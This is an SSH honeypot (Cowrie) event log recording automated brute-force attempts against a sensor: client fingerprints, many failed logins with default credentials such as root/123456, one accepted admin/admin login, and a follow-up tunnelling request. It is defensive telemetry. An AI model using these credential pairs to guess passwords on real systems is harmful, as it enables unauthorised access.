{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:07.427103Z","src_ip":"159.203.92.129","session":"f64ac9c77746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"qaz123","message":"login attempt [admin1/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:07.441316Z","src_ip":"159.203.92.129","session":"f64ac9c77746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:08.448265Z","src_ip":"159.203.92.129","session":"f64ac9c77746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:08.997103Z","src_ip":"161.132.4.167","session":"92eaee66df25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:10.943353Z","src_ip":"161.132.4.167","session":"92eaee66df25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":41236,"dst_ip":"10.17.0.5","dst_port":22,"session":"076527482922","protocol":"ssh","message":"New connection: 161.132.4.167:41236 (10.17.0.5:22) [session: 076527482922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:35.569620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:35.684826Z","src_ip":"161.132.4.167","session":"076527482922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:35.691821Z","src_ip":"161.132.4.167","session":"076527482922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:37.988549Z","src_ip":"161.132.4.167","session":"076527482922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:39.735833Z","src_ip":"161.132.4.167","session":"076527482922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44814,"dst_ip":"159.203.135.109","dst_port":22,"session":"25733daa251a","protocol":"ssh","message":"New connection: 159.203.92.129:44814 (159.203.135.109:22) [session: 25733daa251a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:49.872962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:49.877910Z","src_ip":"159.203.92.129","session":"25733daa251a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:49.882932Z","src_ip":"159.203.92.129","session":"25733daa251a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"123456","message":"login attempt [admin2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:49.897517Z","src_ip":"159.203.92.129","session":"25733daa251a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:50.903993Z","src_ip":"159.203.92.129","session":"25733daa251a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53436,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e03f74e5eff","protocol":"ssh","message":"New connection: 159.203.92.129:53436 (159.203.135.109:22) [session: 7e03f74e5eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:33:32.094528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:33:32.100000Z","src_ip":"159.203.92.129","session":"7e03f74e5eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:33:32.105153Z","src_ip":"159.203.92.129","session":"7e03f74e5eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:33:32.117369Z","src_ip":"159.203.92.129","session":"7e03f74e5eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:33:33.124938Z","src_ip":"159.203.92.129","session":"7e03f74e5eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.210.105","src_port":37089,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba18ec39a6e","protocol":"ssh","message":"New connection: 172.104.210.105:37089 (10.17.0.5:22) [session: 8ba18ec39a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:05.248727Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:06.369062Z","src_ip":"172.104.210.105","session":"8ba18ec39a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f91bab921d27","protocol":"ssh","message":"New connection: 159.203.92.129:45654 (159.203.135.109:22) [session: f91bab921d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:13.363285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:13.369275Z","src_ip":"159.203.92.129","session":"f91bab921d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:13.386087Z","src_ip":"159.203.92.129","session":"f91bab921d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin3","password":"123456","message":"login attempt [admin3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:13.399811Z","src_ip":"159.203.92.129","session":"f91bab921d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:14.409379Z","src_ip":"159.203.92.129","session":"f91bab921d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.122","src_port":37287,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd2704689af8","protocol":"ssh","message":"New connection: 45.33.12.122:37287 (159.203.135.109:22) [session: fd2704689af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:22.470566Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:23.031925Z","src_ip":"45.33.12.122","session":"fd2704689af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16012,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b32709dcc74","protocol":"ssh","message":"New connection: 87.251.64.176:16012 (10.17.0.5:22) [session: 9b32709dcc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:48.476505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:48.481880Z","src_ip":"87.251.64.176","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:48.578933Z","src_ip":"87.251.64.176","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:48.869371Z","src_ip":"87.251.64.176","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:48.968229Z","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:49.067005Z","src_ip":"87.251.64.176","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:49.306544Z","src_ip":"87.251.64.176","session":"9b32709dcc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57050,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e373ed899fe","protocol":"ssh","message":"New connection: 159.203.92.129:57050 (159.203.135.109:22) [session: 0e373ed899fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:54.283147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:54.288520Z","src_ip":"159.203.92.129","session":"0e373ed899fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:54.293874Z","src_ip":"159.203.92.129","session":"0e373ed899fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin3","password":"admin3","message":"login attempt [admin3/admin3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:34:54.306024Z","src_ip":"159.203.92.129","session":"0e373ed899fe","protocol":"ssh"}
